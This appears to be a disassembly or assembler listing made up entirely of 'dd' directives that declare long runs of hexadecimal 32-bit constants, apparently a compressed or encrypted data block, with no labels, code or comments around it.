		dd 5C50CCD6h, 173555AFh, 21893622h, 5EA128DDh, 5DC6F43Fh
		dd 0F1F56E54h, 0B47A1DB2h, 0E0B64257h, 0B5884525h, 819CA005h
		dd 0FA079B04h, 2A06AC35h, 3BF98C5h, 0DA19EE91h,	0EB671B5Fh
		dd 6A6F0332h, 1E1F6186h, 0AF1D5BF3h, 0E0A1620Eh, 0E0F9E0DCh
		dd 0C7940CDEh, 5AA4E39Ah, 0C479A50Fh, 0B4EC1688h, 0B7EE7E36h
		dd 0A65D3E76h, 0F86A177Fh
		dd 704D22A6h, 4610A331h, 0BAD4880h, 926F9591h, 0B1F911FAh
		dd 666CC052h, 89F43902h, 0B7AEE6F9h, 0BBD7D080h, 0E2D8C1FFh
		dd 4B0A316Eh, 5B3A6673h, 0A5D82719h, 0CF213D75h, 5225BB09h
		dd 0CBECC64Bh, 0BF9965AAh, 0B5DBE6BCh, 951696C5h, 1DD4ED60h
		dd 6448448Bh, 82200191h, 9C6551DDh, 466B0B28h, 8883418Ch
		dd 55638ACh, 72084DD4h,	3ABDC812h, 0BF481758h, 175922D3h
		dd 0D3C51879h, 3F8C9E46h, 85F2F2D0h, 65A06C10h,	4BA0721h
		dd 74F7A029h, 0EA14C6F1h, 613EB68h, 38B2A397h, 0E39FF400h
		dd 17A021D0h, 9FAE2EECh, 4EE024CBh, 5CA92605h, 0E81F123Fh
		dd 8971503h, 0E0142A72h, 6ABDD8C9h, 44887EBBh, 0F4537313h
		dd 0DBA1C23Fh, 0E0CDDEBEh, 9BA70487h, 7D9082ADh, 532B88D4h
		dd 98F5F2C9h, 0A8C95562h, 0D374C65Dh, 0E6919371h, 9C0E434Eh
		dd 0F9113AC8h, 58964C4Ch, 7166C5D1h, 9E545174h,	0B70C24C6h
		dd 6F886829h, 1004FDA8h, 0BF80054Ah, 0B4F0E23Ch, 257D338Eh
		dd 0C13BB321h, 0D4E09A93h, 8BFB9EAFh, 0D02766AFh, 5288F07Ch
		dd 8D0F5A0Ah, 0AD08BF53h, 0AF90A82Ah, 9F0AA2BCh, 928535D2h
		dd 6759C52Fh, 0C228FAA1h, 5F51FD6Ah, 0E63CEB44h, 4D55FD79h
		dd 52029CCEh, 0C9CA7A48h, 5BED8E60h, 602A15B9h,	0B824588h
		dd 0F629EC57h, 7FEFF15Dh, 45EC499Ch, 329DE7C7h,	0D2122AF5h
		dd 5EACAFDh, 33D4031Eh,	0B362E488h, 95693EDAh, 0DE1E2BA7h
		dd 29478811h, 406C61F9h, 0B3E1EAF3h, 92C4379Dh,	9B853D8Ah
		dd 0C28DC0DEh, 25F744BEh, 3408A5D6h, 742F0142h,	0D2093AF0h
		dd 0FFCA65E5h, 0C8A80A6h, 1F0A28E1h, 0DCBA15A9h, 3EA457C3h
		dd 6369A9h, 46301499h, 0B30CDDEh, 729A70E3h, 0EB646F8Dh
		dd 0E1EB1CC2h, 1250429Ch, 629A8630h, 0F9B81734h, 0A8086973h
		dd 8DA4F749h, 133DCA12h, 0BF02BC47h, 8FD1696Bh,	3D71720Eh
		dd 5014227Eh, 0C167A2D5h, 28638A86h, 607EDC76h,	0CC6DB8CCh
		dd 381A575Eh, 6E5CD118h, 0DF063126h, 0BA4C97E9h, 97AFF3Eh
		dd 8623D64Ah, 0BEA0A376h, 1202E608h, 58554166h,	5793C81Ah
		dd 0CBC02A64h, 892624F5h, 0E6359608h, 0BAC25791h, 0A0031D9Eh
		dd 0AC93E0CEh, 62479064h, 3979BE10h, 2C5D307h, 2E865037h
		dd 679185E4h, 7DF33CBDh, 523A5FA5h, 85A703Ah, 0CA70AC63h
		dd 0A45FF0BEh, 6386FE20h, 0B88034Dh, 74180A03h,	0A2701504h
		dd 0E0B30285h, 0D7489A6Fh, 0DBF8F8ACh, 107B142Ch, 0E282AA11h
		dd 48D6847Ah, 220BE305h, 40088816h, 5AABB8E4h, 0B810E911h
		dd 93C6DAF8h, 5FCC657Ah, 0BAF5756h, 0FEEBA1AAh,	4A671227h
		dd 177EF05Ah, 18FEF80Ch, 3EF2A35Ah, 4313D812h, 11FB6093h
		dd 706F6540h, 2D4EFCAEh, 5DDD0BBEh, 9F97EED1h, 0C1FB6229h
		dd 0CD122248h, 0EB1F2FBh, 0F8E7AF7h, 0C0594E8Dh, 0ADF8B14Fh
		dd 94B908ABh, 70126A2h,	2114FC9Dh, 5649FCFDh, 4CB9CAA2h
		dd 5E85629Ah, 15063015h, 2440C608h, 9BFD0205h, 29489E22h
		dd 0FAAE2B65h, 0C90001CFh, 6C522B28h, 2F74F140h, 8AAA6C28h
		dd 0CE7B8DAh, 0E8752423h, 0A4608EAh, 6C0C22A2h,	1EBA592Fh
		dd 0EE8CE14Bh, 59ED5341h, 45FCBDC1h, 462133D2h,	695CA802h
		dd 4846772Ch, 42AF8D27h, 1D995606h, 402F84E0h, 61379A95h
		dd 0D729F81Bh, 0DEBABA70h, 70EB0185h, 0C12D6CC7h, 0F6151034h
		dd 0DE35CB62h, 0A6F6A0D1h, 26202566h, 0EC4348F8h, 2C75B09Bh
		dd 0A00FD703h, 893D5710h, 0C4A0316h, 80946815h,	0A3004072h
		dd 99048906h, 0B8A03B30h, 63BC22FCh, 0FA030E5Dh, 0B4BE6A2Fh
		dd 0AA48EB8Bh, 0B2778EF2h, 28C0F913h, 8AE05848h, 0F1148501h
		dd 0CC46BB70h, 35F1F53h, 46A1216Ah, 3E8D0322h, 1BCE1D9h
		dd 285DC45Ch, 0BB13D1h,	0BBCEEF91h, 0F7DC0174h,	0E139F830h
		dd 0AF2B4465h, 40AE0E61h, 1482DA02h, 2105D0E0h,	32451698h
		dd 3133078Bh, 17D0F7C3h, 1CC2FFD2h, 6D80CD40h, 807BD492h
		dd 63CDFFFFh, 2AA7E0ABh, 1ACAA1EFh, 42F8BC32h, 3D4D819Ah
		dd 554F574Eh, 431D8116h, 3889C304h, 49B3FE55h, 33DFAD4h
		dd 0F5BA2C6Ah, 59B5D521h, 0B3815AD0h, 0F7EE35A2h, 2EB5BE9Bh
		dd 91A7D93Fh, 0B151963Eh, 28C04481h, 0C931DD12h, 0C3B748E1h
		dd 0A8591Ah, 30596331h,	2AA32994h, 0D6BDA9B0h, 0A0E710F0h
		dd 7E245720h, 9C4FEF88h, 2AD0AAB5h, 57567FC0h, 0E59DB8D0h
		dd 1AEC55BBh, 7625F24Eh, 531827ACh, 9C62D639h, 1FD4C67Bh
		dd 6A0BD5B8h, 2B861984h, 0DB28413Ah, 16F428C5h,	431A1963h
		dd 0C7AFACE5h, 0EC20CF60h, 0A0663ACAh, 0DF857804h, 0D728A737h
		dd 0A819FFB6h, 262AE648h, 0A6FF9019h, 1BFC1132h, 44EB01Eh
		dd 8E13C0CBh, 60FE8BA1h, 6301E0FAh, 0C2B91B15h,	0EFF7E2BFh
		dd 0BAC8538Ah, 0BBF1108h, 738F5B02h, 2AF22A3h, 0A9EED089h
		dd 0F2FA4C6Ch, 3F931588h, 9DFF266Eh, 27473118h,	0AFE297D1h
		dd 0E893331Eh, 0F856670Bh, 0CF2F3CB2h, 0A5D34C43h, 11C2A2A2h
		dd 1149AC05h, 9CB9CD74h, 4A052DFDh, 895D74F1h, 4569D385h
		dd 8B5BE0E7h, 7E044A77h, 0A5B2393Eh, 348753C0h,	6062B68Eh
		dd 8BE78047h, 8855B2F8h, 4940D988h, 18CA3C97h, 29280A78h
		dd 31FEA0EFh, 2A4DC816h, 9D47E285h, 178ED5E6h, 57C56A81h
		dd 0BAAF0F34h, 0ADE1B882h, 0E23538B8h, 0A27A2BCh, 0ACBD55DBh
		dd 7E577D6Bh, 9F525314h, 5A5B3E17h, 0D6932C62h,	6EFEAB9h
		dd 0E15EBEF3h, 1798A5F1h, 0D4A9B842h, 52CE814Dh, 6C00D49Fh
		dd 4FA3C0B6h, 16757BFCh, 2F22C1BCh, 0DB4275DDh,	0F920CD0Fh
		dd 0A17D8A6Dh, 68EC31F1h, 0C589A890h, 0AFE01312h, 0B9574ACh
		dd 0C970783Ah, 0BFC3B18Eh, 88062529h, 5570302Ah, 29E852AAh
		dd 6BB23886h, 841E62EBh, 1254BE21h, 0B0BCCEAh, 296069B3h
		dd 0B4DFCD22h, 0F828002h, 65BE96Eh, 2E311056h, 26EFFF45h
		dd 83A1F06h, 640B5C70h,	8EC438D8h, 0D08DED41h, 6FFA2E90h
		dd 7D70C499h, 0F902DBFCh, 88A63014h, 0D0810C2Dh, 0AAE0E8D0h
		dd 43A72174h, 684D276Ch, 0CF1727D7h, 7A2C8CD2h,	43106227h
		dd 0D1C891DAh, 0A1B1AAC2h, 0C944620Ah, 0A77C07A9h, 0B0B2E559h
		dd 4F19EBACh, 25B4B090h, 0AE67B899h, 5CF59195h,	69201973h
		dd 1AEC917h, 0E77A8152h, 0F36930CAh, 973E1EAh, 2380B2AEh
		dd 0ECCFECD3h, 3EB09668h, 0B367B2F6h, 2D5DC2E2h, 35B19A6Fh
		dd 0A4E6F586h, 692677DFh, 7B0DBECEh, 4FE57BACh,	0E611587Dh
		dd 83AB17FCh, 0C48BE819h, 0AF5BC8FAh, 0C830F819h, 78D492F0h
		dd 4E226CEEh, 0B106FD06h, 8084A6E9h, 4D906BB2h,	18CAE907h
		dd 262BBA4Bh, 284E4888h, 5E0828C0h, 0AE8D103Bh,	3AE18E07h
		dd 0CF388A23h, 962BB390h, 0A0CBC341h, 83EE24Fh,	0EA306205h
		dd 23C180C1h, 0B05183DDh, 585DF4A8h, 3BA75C54h,	0C0E7675Dh
		dd 3B41CD91h, 286E03Fh,	0DD639C3h, 9CBB670Eh, 285D4202h
		dd 4628A424h, 3FD9FB01h, 66473455h, 0E0C841B0h,	0FCEC019Bh
		dd 41FCEF7Ah, 0D2E4BE34h, 0C5E58F56h, 0E5DDD46Ah, 9661B9AAh
		dd 57D0EE9Eh, 0EAABE824h, 3E82C6CAh, 27D0D07Ah,	1FC7C7D3h
		dd 5220F3A9h, 28A9D058h, 917152A1h, 0F7810084h,	3E8287B4h
		dd 12F45484h, 6A16BFC3h, 0A269EF55h, 124FAFF5h,	5720877Dh
		dd 0EF301F7Ah, 1F448BBDh, 11E1144Ah, 745A907Dh,	96008A72h
		dd 7651F924h, 0B71BE41Ah, 8B860BB4h, 2C48342Bh,	447C6CF1h
		dd 53AD059Fh, 0A240BE1Bh, 0AFA222EFh, 4A59443h,	0B762428Ch
		dd 79CB1FD7h, 2166DD15h
		dd 262C67D1h, 379846CBh, 88ED10F0h, 18612310h, 49C9D395h
		dd 0AAD24A91h, 3B1C7842h, 1511D8C5h, 0B60DDE4h,	8D95F3D7h
		dd 528626C5h, 6B352E10h, 0D42BCEC1h, 6EB455A8h,	20E81597h
		dd 70F25D49h, 0F2B470DFh, 0B5CE6ABDh, 39A8A8CBh, 0A4F1A4A9h
		dd 0E456A943h, 4D97321Eh, 97E632A4h, 2A85CFFDh,	0A444F88Ah
		dd 0CBA459E8h, 0C89D2398h, 0F4F520B9h, 4FA94ED5h, 1F6F9901h
		dd 50B4681Ah, 0DC23FC57h, 0A1525941h, 54C907ABh, 0A4478856h
		dd 5AF985F1h, 0D62F8F3h, 0C3E25B2Fh, 705D0185h,	504CC407h
		dd 65695888h, 0DD26207Ch, 8F133080h, 86C8AAE8h,	0A40205F8h
		dd 6204ECADh, 0D8382149h, 0E350288Fh, 12A96418h, 0DB452A6h
		dd 548B1857h, 0CECA54AAh, 4899AA77h, 0D29A9596h, 0CE31BE8h
		dd 0F99D82B4h, 31F412E8h, 0BABEA2E3h, 930525DEh, 2ACD22EAh
		dd 4071788Fh, 0AFBBE734h, 0BCE6D4D9h, 925E817h,	126C998Ah
		dd 0A380799Dh, 77BAAFC2h, 0AB85831Ah, 3B46B54Bh, 8DADA1E4h
		dd 4E418429h, 1D17AAA8h, 0A06522E9h, 9C4377F0h,	0E19C3C9Eh
		dd 99B11F60h, 0FC318594h, 0FA2C108Ah, 1A7DF3C5h, 0B5461B2Fh
		dd 88F3BF8Ch, 0AE132D19h, 0B216AB04h, 0D8AE7797h, 6B21FB23h
		dd 0F66D96Eh, 34606C0Ah, 21F8C8F1h, 5CB4CE50h, 29CBDA0Bh
		dd 0BF7ED37Ah, 0C0C48895h, 7057B313h, 0BE0DE809h, 974DD182h
		dd 32AD350Eh, 5F9FF6A3h, 72C8570Eh, 0A560BC22h,	0B00A1A8Ah
		dd 41D73A98h, 771F51C6h, 9091A0A8h, 5B578C71h, 0C4C8563Ah
		dd 8DAF4E34h, 6C7ADAD9h, 5D23432Ah, 0C9CC60ABh,	51EB6798h
		dd 8F001F1Ah, 0C7F2C13Bh, 0E6E3C408h, 88D1C18Fh, 2B6204EBh
		dd 36A98B33h, 0EFF96733h, 0F83E4567h, 3DE2C5F3h, 531E182Bh
		dd 0F2BEFB46h, 0AB5EC5D6h, 0EB2E2386h, 5D2CFA4Fh, 66F5E58Dh
		dd 9E7D38D8h, 2E71F4A0h, 86D925C5h, 35777D2h, 0E0F97A22h
		dd 3D03D7DDh, 0CFC1E0AFh, 0E4B34199h, 1A89F850h, 30AB62A7h
		dd 0CC70862h, 59C0AB3Eh, 11731C75h, 169CDB59h, 700CDC5Ah
		dd 7B44F0F6h, 354D2B53h, 0D350D5A9h, 0A51767ADh, 9D289598h
		dd 74148D27h, 50190D0Bh, 0B5180174h, 0B8C8E87Ah, 83A4391h
		dd 8099A575h, 7967F84Bh, 4D223151h, 5BB2D18Bh, 9B0C642Dh
		dd 0E9C5EF23h, 6C6859A9h, 63A351B1h, 2F6B0BA8h,	0B6B4E865h
		dd 0CE3C3E2Bh, 0DB85F8E8h, 489BE86Ah, 5AA0DB00h, 987DF7EBh
		dd 7E268C16h, 69211AEDh, 904A0110h, 0C0550C5Ah,	0F175460Fh
		dd 893DD1B5h, 0A26C1D9Ch, 0D052DCB5h, 16D68052h, 78DE7474h
		dd 2EBC7ED8h, 3DA98B22h, 0A4A0930Ch, 0EAF4124Dh, 0AF6FCC3h
		dd 5B73513Ch, 76841FF3h, 847563DDh, 3C7727A1h, 0DCC2210Ch
		dd 83E6C925h, 0EE205229h, 0D7FEFFDDh, 0FBD3ABC3h, 16B36005h
		dd 0BBA149DFh, 0DF68BB5Fh, 86EF7EFBh, 584162Fh,	7567155h
		dd 242D6661h, 0CCAAC05Dh, 2B621CB4h, 0B9A0F8A1h, 0F4EFF8ABh
		dd 0F8BA4A54h, 164BB74h, 702F8219h, 302378C2h, 0CC9C3E63h
		dd 2BA53E20h, 0D901DF8Fh, 8260ABCEh, 2DC84603h,	4F7F9904h
		dd 74A0A062h, 212FE1CCh, 7042A5Dh, 0CB10D261h, 58845F5Eh
		dd 0E9A06841h, 4E31208Ah, 74494EA2h, 2E0A023Ah,	226BEBCDh
		dd 6874DE5Dh, 0BEDC19A1h, 2525E23Ch, 589D80B8h,	96829970h
		dd 0E80171EAh, 118B5C7Dh, 382723ECh, 7F6D5D14h,	0F29A0E2Ch
		dd 554740F5h, 0CBE8CC96h, 0C435601Dh, 0FF2C7494h, 59CDD760h
		dd 7C90FB12h, 4B453621h, 2BC24CFAh, 0FD54443Fh,	0A84AA933h
		dd 8BF26AD6h, 0B49FB7B2h, 76192698h, 4E2BC3Ah, 0FC0CF729h
		dd 6021BCA1h, 9655EB43h, 169C43F0h, 0AE5C6FC9h,	6237FB5Fh
		dd 3607271Ch, 42714503h, 0E654C7CDh, 529FBB97h,	59A116D5h
		dd 283E186Eh, 0CCFAA274h, 1088BDD2h, 868BA6BFh,	3108EE81h
		dd 626A2AF5h, 5A855F21h, 156EBAC2h, 80C2BEFEh, 8ADF50A9h
		dd 6028E02Fh, 0E9D61903h, 0D73DF099h, 2204C1B5h, 9540C655h
		dd 595588E2h, 3E0EE684h, 3FD35071h, 7806B640h, 83FBA1F4h
		dd 514B6B45h, 0E9654175h, 0D96345D4h, 416AB8B6h, 19971770h
		dd 0AF49A7F5h, 82499BCEh, 0A5A3E9C7h, 64602880h, 8D013E0h
		dd 0F44055A6h, 532AC478h, 324C0D57h, 0BB5FC82Bh, 965BA77h
		dd 0C635C2Bh, 0D256A0CBh, 80E106A0h, 2D1F7471h,	0C70BA45h
		dd 12D0C24Ch, 47A72C45h, 20B680B3h, 0A146C1CBh,	0EF2ECE66h
		dd 252556A0h, 2A3678C5h, 0F007279h, 5979A6FDh, 75BD0C40h
		dd 0DF6A022Dh, 6CCE35A0h, 578229FCh, 4EF94F10h,	0FBE9845Dh
		dd 42709893h, 82E104B9h, 0E74034D8h, 42630D7Ah,	65074F04h
		dd 0C377A163h, 0C5D26650h, 88302A71h, 0D9E631A1h, 38CA3243h
		dd 3F0A0FB0h, 84D4E741h, 0F2F4A01h, 2AB1BB11h, 0C8F68112h
		dd 2BF1997h, 52070FF3h,	68574300h, 2BDC758Ah, 0C4C3FB39h
		dd 1FC0301Fh, 590C580Dh, 2B5A3379h, 7F05096Eh, 8F05E5FEh
		dd 0CD5BAB63h, 29BB200h, 446B4B41h, 846B4251h, 0ED226254h
		dd 0A05B825Bh, 0EA6B1A3Bh, 8055DE12h, 0C025512Fh, 0C225A444h
		dd 0A0C43E46h, 9581CDD1h, 0DF7F0A6Ch, 47209B9Dh, 20A0311Bh
		dd 0EDF865D5h, 636C8D7Ah, 0BD419759h, 31375535h, 1CAA7866h
		dd 92C08820h, 54537841h, 863B4343h, 76134028h, 71CB8E58h
		dd 0AE215882h, 8729F5Dh, 4882F683h, 0DC9A9B55h,	5B021A04h
		dd 0D914584Eh, 0A1544812h, 9E6D6368h, 2590B1C0h, 79811488h
		dd 0E182495Bh, 333A3B83h, 19887DFAh, 60134036h,	96044C40h
		dd 0A747E07Ch, 6786A288h, 1114D26Ah, 667D2294h,	7825E0FAh
		dd 9AC1D5Ch, 3E58A04Ch,	87891C32h, 70D424AFh, 90A459C2h
		dd 1A8881A0h, 6854C322h, 52082301h, 8A40E134h, 0E417220h
		dd 66258E48h, 956C98ECh, 0F06EC33Bh, 0EC895A91h, 0CA109357h
		dd 0C71C1506h, 0C62A03B0h, 7AE46252h, 507D3142h, 39302042h
		dd 95F67FC5h, 3FFE2C49h, 677E4180h, 20FEC2F9h, 0D18011Dh
		dd 888108D4h, 73FEAA6h,	34C1FF22h, 0FC81FAEh, 5B0185E7h
		dd 0BE221E8h, 5362B1A4h, 0E4CC49A2h, 0B7838B2Fh, 2331CE04h
		dd 25C9FF01h, 0FA5004E6h, 0C72E04E6h, 1D801C8Bh, 0C23926Ch
		dd 208AE784h, 10081D92h, 0B7165AB1h, 0ECC13B00h, 0A1EB25E1h
		dd 0A448C15Eh, 0C6C59A19h, 0E980553h, 2E8B0A1Ah, 5DC774h
		dd 0DD8323C1h, 60B61435h, 0AE1783BBh, 7F96EEC8h, 0B804454Dh
		dd 0FB17997Fh, 0E9F8648Ah, 80942879h, 0ED28937Fh, 0DD289227h
		dd 0BF092227h, 0BEFE1227h, 5BC05906h, 90382E02h, 0FFCC6578h
		dd 92FA7BAFh, 0F2FF4F2Eh, 28C04148h, 5847C309h,	8349C399h
		dd 0B0686F68h, 0AC8A7FFFh, 401086B2h, 90444E64h, 0A431BEE8h
		dd 0E0FA0FFBh, 9C76104h, 2E9120FEh, 3684EC42h, 3D6050E8h
		dd 91F06814h, 0AC78B106h, 2C8A1AAh, 2A875096h, 1D9A187Dh
		dd 0A47FB811h, 0EE800D40h, 0FF5D705h, 0AD40E143h, 98B358CEh
		dd 0D9F672DFh, 0CBA49750h, 0A5681EDBh, 0CC3E5308h, 417343D7h
		dd 5C6DCBD6h, 0E51EEA2h, 4401FE4Dh, 90426540h, 0ED19828Bh
		dd 1E53035Fh, 8FDDA412h, 14634AEh, 51901084h, 0C885412Bh
		dd 652A8B16h, 74C865A2h, 2ECF8993h, 0CB3BD256h,	0FF83B9F3h
		dd 0D450919Eh, 0F9C4BB05h, 0A67A2841h, 0B30317Bh, 181BE90Ch
		dd 2605214Bh, 47933D73h, 0D08494BDh, 8C048CA6h,	5C8C3308h
		dd 7F915D91h, 25FAB144h, 28A2B510h, 0D299B746h,	58814870h
		dd 62109C6Bh, 79DC62FEh, 7512BA98h, 240D8F88h, 0A3A1E73h
		dd 30CBACF3h, 6A9452FCh
		dd 95DFF054h, 8245C443h, 48618607h, 3999F33Bh, 0DEEAFCFh
		dd 1F3E7AFBh, 0CA3BA9BDh, 0A823E182h, 304467AEh, 609886C2h
		dd 0BA558F5Dh, 0F87DBE9Ah, 0B94E43D4h, 0CD899E20h, 0C40F4442h
		dd 13B3028Dh, 0C694F81Ah, 25D2B7D5h, 7483C205h,	0B69C0CB9h
		dd 0CE14EBD1h, 4CAD0387h, 7875C0D3h, 0C0BE0540h, 0B8B19C63h
		dd 20102D80h, 7AC27F05h, 2BF7B358h, 0E91A430h, 0B2FF45F4h
		dd 0B6699784h, 469B3FB8h, 1A73C633h, 2DC1A88Bh,	936F3B84h
		dd 8016CD19h, 6B4C7CCFh, 0F1EC95E5h, 44EF7CEEh,	1C81E4BAh
		dd 0EBF6D1C0h, 0D7EDFE2h, 3B8AC4B7h, 0F6827596h, 2B480A16h
		dd 2ABB6A8h, 3DF0237Fh,	0BD706973h, 10212040h, 1F956330h
		dd 0E63481D6h, 0D34841E5h, 0C433BB88h, 51420230h, 0C0978BB0h
		dd 5F276Ch, 0CF704B25h,	0B68823B7h, 0CEA8F4AFh,	82915D2Bh
		dd 85D58ADEh, 30BF3FF4h, 1C7C1582h, 0E8EAD8B5h,	0ADA89F1Bh
		dd 75288B44h, 0D6509245h, 3E5140A5h, 0B82AE3DEh, 0A12D6DBBh
		dd 5935A9C1h, 0F4DC975Dh, 3DD06598h, 6131452Bh,	2ED1C07Bh
		dd 0CDB0704Eh, 9EB5E30Ah, 28127281h, 5C3FC4C1h,	3DD00EE6h
		dd 1084350Dh, 1720509h,	0C1055961h, 0A19A18BDh,	7192DD03h
		dd 0FD7F217Eh, 0DC5A1897h, 0F5759B96h, 615A4340h, 278B90BCh
		dd 0D0C48A32h, 6F23F414h, 6C021B27h, 6F5F4001h,	40BEAA5Fh
		dd 35D902C2h, 6C59B6A9h, 0C5926DA6h, 0FF54E494h, 0DD8E4940h
		dd 0B1090199h, 855531DDh, 0A5D56A3h, 8E305F4h, 3C029D65h
		dd 15AA16BDh, 0F964C823h, 0BA834ADDh, 1A460537h, 462C163Fh
		dd 962672D7h, 89111956h, 90313CA5h, 84148B3Ch, 0E2AB5BD1h
		dd 8D62DD0Bh, 0CECC28Ah, 24A003B9h, 19B3FF04h, 0A625C38h
		dd 0E69F011h, 417F89FDh, 70784FCh, 0C0F8CA04h, 118C104h
		dd 6AB061F8h, 0DF3A859Bh, 74B0FF32h, 0EF0F941Ah, 0EB0A37D6h
		dd 916A85FEh, 0A637F8Fh, 0FD32D8A0h, 9580267h, 4A30AD1h
		dd 0BFAB7B47h, 99D671F8h, 8B4F4A15h, 0D607F686h, 0AB8E5FA8h
		dd 1545F21Bh, 2D1D10Ch,	9FAFC769h, 8D88A468h, 9780A2EEh
		dd 6EE92DADh, 0C6E890BFh, 48C20719h, 4438CDDDh,	68D0BE20h
		dd 6A15366Ch, 74B6F44Ah, 0D9B55EE5h, 3F51E9B3h,	0A29DD674h
		dd 3029D398h, 0D42A1B2Ch, 760210Ah, 7A953982h, 48812080h
		dd 0FA1CF610h, 0FFCEFF30h, 0E0C031EFh, 0D810F826h, 0D51650C4h
		dd 92B80C76h, 80E3F394h, 6C0A85C5h, 0AB0EB00Bh,	9905A62Eh
		dd 56C4E0FAh, 8EFF3C4Ch, 94885BE3h, 0B28B9F17h,	0B3C96249h
		dd 7ECA66FBh, 8053243Fh, 30180405h, 99BEDBF1h, 0D53A3296h
		dd 8246CDF5h, 0F7E8998Ah, 7E16C411h, 8D821638h,	16D2A943h
		dd 78B0CBAh, 62968138h,	0FEA7E652h, 6E5BB405h, 970B485Fh
		dd 0F336C050h, 440BD700h, 3026A7D5h, 1D03B1A6h,	6685310Dh
		dd 313955C6h, 84B20247h, 0F4316086h, 77805213h,	0F41D566Bh
		dd 32E972A6h, 8B47F583h, 8A70F990h, 5748823Ch, 55942730h
		dd 45E90EBAh, 0D8100443h, 5F6D0071h, 32CC9325h,	788E14D7h
		dd 0E16E3AB5h, 0D50995CEh, 0A11BBF84h, 7E96F32Eh, 228F0C2h
		dd 0B8ABB8D3h, 2870E965h, 0DF4C418Eh, 29840C7Ch, 63AB5556h
		dd 4417AA40h, 5444B14Ah, 40882AA9h, 8B0D9E64h, 54463A86h
		dd 2A66ED01h, 0B1A6FE82h, 0E0234CBCh, 0CC0AF2BEh, 55DF04AAh
		dd 0CFB45D43h, 0C715AC5Dh, 5D1E17B8h, 0CF0101ABh, 0B33CA958h
		dd 4485B6Fh, 76EBE1A1h,	8A3EB017h, 277E2C11h, 0F1DBC681h
		dd 7EBDBD3Dh, 629F7547h, 0E501CB50h, 6C778A83h,	45ECDFAFh
		dd 8EAFEBB3h, 5AA02739h, 0F396411Bh, 41E1CEADh,	479A8824h
		dd 3A9E1515h, 0C2425FFAh, 0F0DAB6A7h, 0D6558503h, 0E9A39295h
		dd 0AE386EDFh, 30A7BA55h, 0A54DF98Ah, 0A0B26108h, 835C8919h
		dd 7338ACAFh, 6F31FA05h, 33A1DAh, 695F7A7Eh, 0A6B8A8C9h
		dd 529B7B8Dh, 7FE10627h, 2322E8EBh, 995DDA67h, 0C2F93AE3h
		dd 4CEC2BCBh, 0F0CB8DACh, 78AEF452h, 2C13AEF7h,	677A1875h
		dd 152D4452h, 7F59BAF7h, 0EC3E01FCh, 0D59AC03Eh, 0EF7EA534h
		dd 4EAB34EFh, 5342ADE0h, 2F458A55h, 49C26C9Dh, 0AEAC38F7h
		dd 0C0ED74B6h, 9BA68B1Dh, 49C356DEh, 4DFEAA3Fh,	599B71A6h
		dd 3D1BA95Ch, 2888E9Ah,	0B049B5F5h, 8C867631h, 9671B2B9h
		dd 6984D574h, 0B6BFD711h, 0BCC7FE62h, 8E8DE2EBh, 0A6116204h
		dd 8C243472h, 93624697h, 0AD73902Bh, 138E5817h,	0E025D75Bh
		dd 8F08A31Dh, 0CCC45D62h, 27951304h, 5599835Dh,	0EF6A65F6h
		dd 0C23688B9h, 2E02BA4Ah, 0A778A0C1h, 75AFE3B0h, 0B5417E9h
		dd 0D748A281h, 0F9900F03h, 0D95C2AEDh, 0C2881627h, 780AE805h
		dd 0B398C6D9h, 0C6BAE2D3h, 0AF910151h, 0C3E04064h, 0DF2683F0h
		dd 0D8827C18h, 58161655h, 68BFB9E7h, 0B3FF683Ah, 0E282A649h
		dd 4EC13AD7h, 8600DFA9h, 0BA79CF60h, 75A183FCh,	54A3173Eh
		dd 9A1A0365h, 70AB8835h, 3F52DE99h, 4A2B377Ah, 2F2C4908h
		dd 1E509869h, 0B573E1A0h, 8B20235Dh, 0C49F6951h, 0A64850EAh
		dd 0BB43AC81h, 9C573356h, 9F3FC101h, 8BBF78D2h,	23461486h
		dd 5F85E58Eh, 14D52B95h, 0D00A4AA0h, 1D661070h,	4FE2DDD3h
		dd 6F715BA3h, 9CBDFBCAh, 8D55E0A2h, 735CA9A7h, 3E759B0Ah
		dd 202A5591h, 33B65A78h, 0EFCFE734h, 0DE8B575Ch, 1307A2E6h
		dd 0AE7E0887h, 0AFB282FEh, 5CE7D1CAh, 5F73E959h, 91F2D154h
		dd 198817C8h, 0FA639781h, 5FC20A82h, 87E2F1C9h,	37F37FAh
		dd 785F38C3h, 55C477E5h, 0AA9FEB9Eh, 62EB9EA9h,	0F434F9E4h
		dd 789C3F0Eh, 0F2C5DFC7h, 5D6DE77Bh, 989EA54h, 85DCB51Dh
		dd 1D878663h, 0ABF67A5h, 32E4E2F9h, 0C3F5C105h,	0F3AE5717h
		dd 0E6B0BB2Ah, 234D5973h, 0F578A3A3h, 0DA6CB323h, 7E7B835Fh
		dd 0EB993ED7h, 90609DF0h, 3E31A708h, 498ABA5h, 20DB07DFh
		dd 18DAEE3Dh, 75B63A56h, 71657105h, 4FA74E56h, 3BFD531Dh
		dd 37C1AF7Bh, 0DAEADFEEh, 0F1B2DDB9h, 0B5116AA4h, 7951F214h
		dd 28937533h, 9485C5Bh,	0BA8BEB02h, 3274CCACh, 0B296C562h
		dd 74DD7D2Eh, 0C4C117F8h, 0A463908Eh, 102798ACh, 0C85470DEh
		dd 0BEF41F62h, 4E2ADF6Fh, 381E1284h, 9D901C8Eh,	453830D7h
		dd 5CB3756Eh, 0B9943435h, 0D9523955h, 0BDC37D14h, 3DB24D72h
		dd 4615ABBEh, 9D028EF2h, 30EA60E9h, 64325684h, 0DAFA290Ah
		dd 5841A0AAh, 0BA8791B5h, 35E2D4E3h, 560F8A2Eh,	9D29BA2Ah
		dd 754BC413h, 0B1C843B9h, 0B108AC03h, 830431A3h, 0E6FE7EDAh
		dd 51C992BAh, 80AA908Ch, 5D7B240Bh, 8FE13C05h, 0A181384Eh
		dd 0AE86BF82h, 42BDFDB3h, 60226840h, 1E4496D2h,	27B88121h
		dd 0DA625271h, 0DA640A48h, 8A28E1D8h, 81294649h, 0E20C6BC5h
		dd 0EC0BCA80h, 4205FAE4h, 34143982h, 1786EBF4h,	86241EF6h
		dd 6298B035h, 983424DDh, 98045749h, 2805942Dh, 3B8B9291h
		dd 0B2B8903Eh, 0E1BE2A2Bh, 0BB2ABE62h, 0B550B2Ah, 0B79798DFh
		dd 7CF7951Dh, 7B8B9233h, 97D7F291h, 2A012EA5h, 7B890CA3h
		dd 77AF18FFh, 255F160h,	4E260079h, 2F0906F1h, 89956C0Eh
		dd 0A8C5C541h, 24EC443h, 309C8A16h, 0CE710934h,	579E9BAFh
		dd 0E4B04DFEh, 0CA44F3D4h, 1A1FE2A8h, 232C4C2Ah, 2C519DA6h
